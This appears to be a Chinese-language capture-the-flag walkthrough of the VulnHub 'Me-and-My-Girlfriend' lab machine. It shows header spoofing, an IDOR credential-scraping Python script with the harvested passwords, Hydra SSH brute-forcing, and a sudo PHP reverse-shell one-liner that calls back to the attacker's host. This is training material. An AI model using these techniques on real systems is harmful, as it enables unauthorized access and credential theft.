Me-and-My-Girlfriend靶场

靶机下载:

https://www.vulnhub.com/entry/me-and-my-girlfriend-1,409/

一、信息收集

查找ip

nmap -sP 192.168.16.0/24

获取详细端口等信息

 nmap -sV -sC -A -p 1-65535 192.168.16.209

Me-and-My-Girlfriend靶场_第1张图片

目录扫描

gobuster   dir -u http://192.168.16.209  -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt 

Me-and-My-Girlfriend靶场_第2张图片

二、水平越权漏洞

访问网站,提示只能使用本地服务器访问

Me-and-My-Girlfriend靶场_第3张图片

通过插件替换为127.0.01,在刷新访问

提示需要用x-forwarded-for头部

X-Forwarded-For(XFF)请求标头是一个事实上的用于标识通过代理服务器连接到 web 服务器的客户端的原始 IP 地址的标头。

Me-and-My-Girlfriend靶场_第4张图片

下载插件:modhearder

添加头部信息点击转发重新刷新页面

Me-and-My-Girlfriend靶场_第5张图片

web分析

Me-and-My-Girlfriend靶场_第6张图片

可以看到有注册框

注册账号

登录

Me-and-My-Girlfriend靶场_第7张图片

看到url后面有id值,尝试修改,测试有没有逻辑越权漏洞

可以看到列出了新的用户和隐藏的密码

Me-and-My-Girlfriend靶场_第8张图片

点击显示密码

Me-and-My-Girlfriend靶场_第9张图片

或者在

Me-and-My-Girlfriend靶场_第10张图片

测试了一下有十三个用户

编写python脚本

通过模拟 HTTP 请求来访问一个网站的不同用户的 profile 页面,并从 HTML 中提取用户名和密码信息。

#coding:utf-8 
import requests

from bs4 import BeautifulSoup
#导入所需的库:requests 用于发送 HTTP 请求,BeautifulSoup 用于解析 HTML 内容

if __name__ == '__main__':

     for user_id in range(1, 13):
        url='http://192.168.16.209/index.php?page=profile&user_id='+ str(user_id)
        response = requests.get(url, headers={'X-Forwarded-For': '127.0.0.1', 'Cookie': 'PHPSESSID=fu0levanb4i9koc99b0n4vlst2'})
        #构建目标URL,使用 user_id 替换为循环变量的当前值,同时提供伪造的 X-Forwarded-For 和 Cookie 头部,以模拟请求。
        dom = BeautifulSoup(response.content.decode('UTF-8'))
        #使用 BeautifulSoup 对象来提取用户名和密码,dom.find('input', id='username')['value'] 用于找到带有指定ID属性的  元素,并获取其 value 属性。 
        username = dom.find('input', id='username')['value']
        passwd = dom.find('input', id='password')['value']
        
        if username:
            print(username + ":" + passwd)

Me-and-My-Girlfriend靶场_第11张图片

最后得到:

eweuhtandingan:skuyatuh
aingmaung:qwerty!!!
sundatea:indONEsia
sedihaingmah:cedihhihihi
alice:4lic3
abdikasepak:dorrrrr
a:a

冒号分割格式可以用于hrdra爆破密码,保存为一个文件使用hydra尝试

Me-and-My-Girlfriend靶场_第12张图片

三、ssh爆破

工具hydra

hydra -C 1.txt ssh://192.168.16.209 

 -C FILE   用冒号分隔的 "login:pass" 格式,代替 -L/-P 选项

得到可以账号:alice,密码:4lic3

Me-and-My-Girlfriend靶场_第13张图片

登录

 ssh [email protected]

Me-and-My-Girlfriend靶场_第14张图片

得到第一个flag

Me-and-My-Girlfriend靶场_第15张图片

四、提权

查看当前用户的管理员权限

sudo -l

Me-and-My-Girlfriend靶场_第16张图片

(root) NOPASSWD: /usr/bin/php

这意味着拥有此权限的用户(在此为 root 用户)可以在不输入密码的情况下执行 /usr/bin/php 命令,以 root 权限运行 PHP 解释器。

可以使用php反弹shell

执行:

sudo  php -r '$sock=fsockopen("192.168.16.180",8888);exec("/bin/sh -i <&3 >&3 2>&3");'


加上sudo执行,反弹的就是管理员用户了

Me-and-My-Girlfriend靶场_第17张图片

反弹成功

得到第二个flag

Me-and-My-Girlfriend靶场_第18张图片

你可能感兴趣的:(Web安,网络安全学习,安全,web安全)